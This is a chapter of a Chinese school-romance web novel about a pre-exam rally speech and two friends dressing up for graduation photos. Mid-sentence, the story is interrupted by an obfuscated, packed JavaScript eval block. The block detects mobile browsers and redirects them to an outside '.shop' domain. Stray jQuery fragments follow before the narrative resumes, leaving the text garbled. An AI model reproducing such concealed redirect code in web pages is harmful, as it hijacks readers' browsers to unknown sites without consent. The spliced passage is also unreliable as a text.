教室墙壁上的高考倒计时一天天减少。


    肖瑾尧站在墙壁前，将那个数字一的纸板，换成了零。


    明天学校为高三学生举行百日誓师暨成人礼大会，而肖瑾尧作为优秀学生代表进行发言。


    稿子是她花两节节自习的时间写好了。


    陈晏兮看到她站在这里那么久，像面壁思过似的，他走上前：“盯那么久？明天演讲紧张？”


    肖瑾尧轻轻地点了点头：“有点。”


    分开位置那么久，假期那件事两人也渐渐习惯放一边，装作没发生过，相处也回到了平时，只是变淡了些。


    “就当底下的人是空气好了。”陈晏兮双手插进兜里，漫不经心：“除了我。”


    肖瑾尧有些无语地抬眸：“你也是空气。”


    门口传来丁晓莹的声音，她满脸兴奋，一把抓住肖瑾尧的手：“太好了，明天就能看到你演讲了！”


    肖瑾尧淡淡地笑了笑，“走吧。”


    回家路上，丁晓莹一边骑车一边喋喋不休：“尧尧啊，你上学期还说想超越陈晏兮当年级第一来着，一个学期你就做到了，你也太厉害了。”


    在上一次考试中，肖瑾尧以总分三分之差，超过陈晏兮，成为年级第一。


    原本优秀学生代表演讲，贺剑敏是打算给陈晏兮的，但看见肖瑾尧一步步的成长，最终考到年级第一，她便把这个机会给了肖瑾尧。


    丁晓莹有些懊恼之前的质疑：“我之前还不信，我真服了。”


    “虽然陈晏兮一直都是变态，但我觉得你更牛，一个学期就爬上去了。”丁晓莹是真的很震惊。


    肖瑾尧被夸得有些拉不住脸，她看着丁晓莹缓缓开口：“我和你说个事。”


    丁晓莹转头：“什么？”


    “其实转学之前，我本来就是年级第一。”肖瑾尧一脸释怀，接着说：“只是没想到转学后，会这么狼狈，我才认识到自身还有那么多不足。”


    丁晓莹两眼放光：“哇塞，重回巅峰，我更爱了，尧尧你真的真的太厉害了。”


    第二天清晨，天刚蒙蒙亮，带着几分春日的微凉，全校师生便陆续聚集到了足球场。各班按照事先规划好的位置整齐列队，少年们穿着统一的校服，身姿挺拔，眼底藏着少年人的朝气与对未来的期许。


    为了鼓舞士气，学校特意在操场跑道尽头搭起了一道红色的龙门，红绸缠绕，上面写着“百日逐梦，金榜题名”八个大字，寓意着跨过这道龙门，便是奔赴成功的彼岸。


    升国旗、奏国歌，鲜红的国旗在晨风中冉冉升起，少年们行着注目礼，神情庄严。随后，学校领导走上演讲台，语重心长的话语里满是期许与鼓励，肖瑾尧站在台下，双手紧紧攥着演讲稿，有些变形。


    她心跳也随着上台的时间临近，一点点加快。


    差不多时间，班主任便让她提前到舞台下候场，肖瑾尧缓缓深吸一口气，慢慢地朝前面走去。


    陈晏兮个头最高，站在班级的后他也能轻易看见舞台上的场景，他目光死死的盯着前方，等待肖瑾尧上场。


    等学校领导演讲完，主持开始发言：“接下来，有请优秀学生代表上台发言。”


    肖瑾尧调整好内心情绪，平静地走上演讲台，面带微笑，从容自如。


    她站在演讲台上，看到底下乌泱泱一堆人，她的内心还是忍不住颤抖了一下。


    “尊敬的各位领导、老师，亲爱的同学们，大家好...”


    陈晏兮站在队伍最后，原本紧绷的目光渐渐软了下来，只剩一片沉静又温柔的凝望。


    台下人声嘈杂，他的世界却像被按下了静音，眼里只装得下台上那个身影。她站得挺拔，唇角噙着浅浅的笑，声音清润又坚定，没有了刚开始的局促，只剩从容自若的光彩。


    “一百天，我们全力以赴；一百天，我们绝不退缩！少年自有凌云志，百日逐梦定成功。愿我们以梦为马，不负韶华，在六月金榜题名，在未来顶峰相见！谢谢大家！”


    肖瑾尧浅浅鞠了一下躬，走下舞台。


    在全校老师的见证与引领下，全体高三学子整齐列队，齐声庄严宣誓。


    激昂磅礴的乐曲骤然响彻操场，热血与希冀在风里翻涌。学子们颈间系着满载祝福的围巾，他们昂首挺胸、步履铿锵，迎着光，依次纵身跃过那道象征蜕变与荣光的状元龙门。


    ——


    誓师大会圆满结束。


    紧接着就是毕业照片拍摄，分为上午和下午两个阶段，上午的是年级和各班级集体照的拍摄时间，而下午是自由拍照时间。


    拍完年级大合照，紧接着是班级的集体照。


    等差不多拍完，自习了一节课后便到了中午放学的时间。


    由于下午的自由拍照时间也和成人礼挂钩，所以贺剑敏早在一周前就通知大家，可以换一些隆重或者好看一点的裙子来拍照，给青春留下一点纪念。


    肖瑾尧本来只打算穿校服简单拍拍，而丁晓莹在好久之前就挑中的两条裙子，她一直央求着肖瑾尧穿裙子陪她一起拍照。


    肖瑾尧没受住丁晓莹的盛情，看过裙子之后，最终同意了。


    她选了蓝色那条纱裙。


    中午放学，肖瑾尧回家简单煮了点面条，吃完饭后，她前往丁晓莹家。


    丁晓莹刚刚吃完饭不久，在房间里打开化妆包准备画个淡一点妆，看见手机弹出消息，她连忙下楼去开门。


    肖瑾尧走进丁晓莹家中，客厅没人，厨房传出水流声，看样子是刚吃完饭不久在洗碗。


    丁晓莹拉着她直接进了房间，接着拿起化妆品，开始往脸上扑粉：“你来得刚好，等我化完帮你也化一个。”


    肖瑾尧坐在床上，看着镜子中她一脸认真的样子说：“我就不用了吧。”


    “你多好看啊，相信我。”丁晓莹手上动作没停。


    不是很浓的妆，不用化多久，十几分钟就搞定了，她起身让座，让肖瑾尧坐到椅子上。


    半推半就，肖瑾尧还是坐到了椅子上。


    “相信我，你下午一定是最好看的那一个。”丁晓莹边说着边开始往脸上上手。


    “太夸张了吧。”肖瑾尧微微垂眸，耳尖悄悄发烫，语气里带着几分不好意思。


    “哪里夸张，回头率一定超高的。”丁晓莹说得很激动，她准备开始画眼线。


    “你什么时候学会的化妆？”肖瑾尧有些好奇地问。


    丁晓莹挑了一支适合肖瑾尧肤色的腮红，轻轻往她脸颊上扫了扫，语气随意：“马马虎虎吧，不算真的学会，就是高一的时候，想试着改变一下自己，就慢慢开始学了。”顿了顿，她看着镜子里肖瑾尧白皙的肌肤，忍不住赞叹，“说实话，你皮肤是真的好，又白又细腻，真替我省化妆品。”


    最后她开始上口红。


    肖瑾尧抿了抿嘴，气色一下子就上来了。


    丁晓莹满意地点了点头，盯着肖瑾尧的脸，像是看着一件精雕细琢的艺术品，她将镜子挪到她眼前说：“看看，好不好看。”


    肖瑾尧转头，看着镜子中的自己，愣了一下，镜子里的少女，眉眼清亮，唇瓣莹润，淡淡的妆容没有掩盖她本身的清冷气质，反而多了几分柔和与惊艳，一时间她竟有些认不出自己。


    丁晓莹拿起手机看了眼时间：


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287796|197792||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “还有一点时间，要不要试试裙子？”


    说着，她走到衣柜前拿出一件淡蓝色长裙礼服，递给肖瑾尧：“你在房间里换，我出去等你。”


    丁晓莹走出房间。


    过了会，她听见房间里传出一声“好了”的回复，立刻夺门而入。


    两人身高相仿，裙子的尺寸刚刚好，蓬松的裙摆垂落至脚踝。肖瑾尧转了转身，缀满的细闪随着她的动作流转，像把整片星空都穿在了身上。


    丁晓莹看着她，忍住不发出一声声赞叹，随后她忽然狡黠一笑：“这下陈晏兮好像有点配不上你了。”


    ——


    试过裙子后，两人开始收拾东西准备去学校，为了补妆丁晓莹还塞了一些化妆品进书包。


    下楼，肖瑾尧抬头发现，天空灰蒙蒙的，一点太阳都没有。


    到学校之后，丁晓莹便准备拉着肖瑾尧去洗手间换裙子。


    由于下午不用上课，丁晓莹也暂时不打算回教室里。


    肖瑾尧扫了一眼四周，有些不好意思，她拉了下丁晓莹的手小声说：“等晚点？现在太早了。”


    “怕什么，别怕走。”丁晓莹提着书包，拉着肖瑾尧走进厕所。


    片刻后，肖瑾尧缓缓推开卫生间的门，刚走出两步，目光便撞上了迎面而来的几个陌生同学。她脸颊一红，迅速移开视线，耳尖发烫，下意识地往旁边靠了靠。


    细微的赞叹声顺着风飘进耳朵里：“看，那个女生好漂亮啊，穿的裙子好好看……”


    肖瑾尧嘴角微微勾起，站在卫生间里等丁晓莹。


    丁晓莹出了点小状况，裙子背后拉链卡住了，但好在肖瑾尧帮忙，拉链成功被拉上。


    她走出卫生间自嘲了一句：“看来最近吃得有点多。”


    肖瑾尧沉默不语地跟在后面，四周的目光时不时聚集在肖瑾尧身上，她是一点也不敢往别处看，只敢盯着地板。


    “看吧，我说了你回头率超高的。”丁晓莹笑着说。


    两人的身影刚出现在一班的窗外，江屿拍了拍陈晏兮的桌子：“别学了，看。”


    陈晏兮目光顺着他的视线往外边看去，只是一眼，他的身体便猛地一僵，手里的笔“嗒”地一声落在桌上。


    他死死盯着那个身影，眼底的平静瞬间被打破。肖瑾尧穿着淡蓝色的长裙，身姿纤细挺拔，长发松松挽在脑后，几缕碎发垂在颈侧，衬得脖颈愈发白皙，淡淡的妆容柔和了她平日里的清冷眉眼，唇瓣莹润，眉眼弯弯。


    像一束突如其来的光，直直地撞进他的心底，让他连呼吸都停滞了几秒，喉结不自觉地滚动了一下，竟忘了移开目光。


    “愣着干什么？出去啊。”江屿推了推陈晏兮的肩膀。


    陈晏兮这才回过神来，他缓缓站起身，脚步有些僵硬地跟着江屿，走出了教室。阳光虽淡，却恰好落在肖瑾尧身上，将她的身影镀上一层浅淡的柔光，让她看起来愈发耀眼。


    丁晓莹穿的裙子和肖瑾尧的款式截然不同，是一件米白色一字肩长裙，肩线处是立体缎面花朵褶皱，像两捧白玫瑰，挺括的缎面裙摆垂坠感十足。


    江屿的目光落在丁晓莹身上，那件米白色一字肩长裙衬得她格外温柔，他微微愣了一下，缓缓开口：“真好看。”


    肖瑾尧提着裙子，慢慢地朝陈晏兮方向靠了两步，然后停住脚步抬头，静静地看着他。喉结滚动，陈晏兮又咽了咽口水，他不知道说些什么，只是觉得好看两个字都配不上她。


    江屿看着他木头一般，笑道：“你看那小子，平时不见紧张成这样。”


    丁晓莹捂着嘴笑了笑，“走了走了，去楼下拍照去。”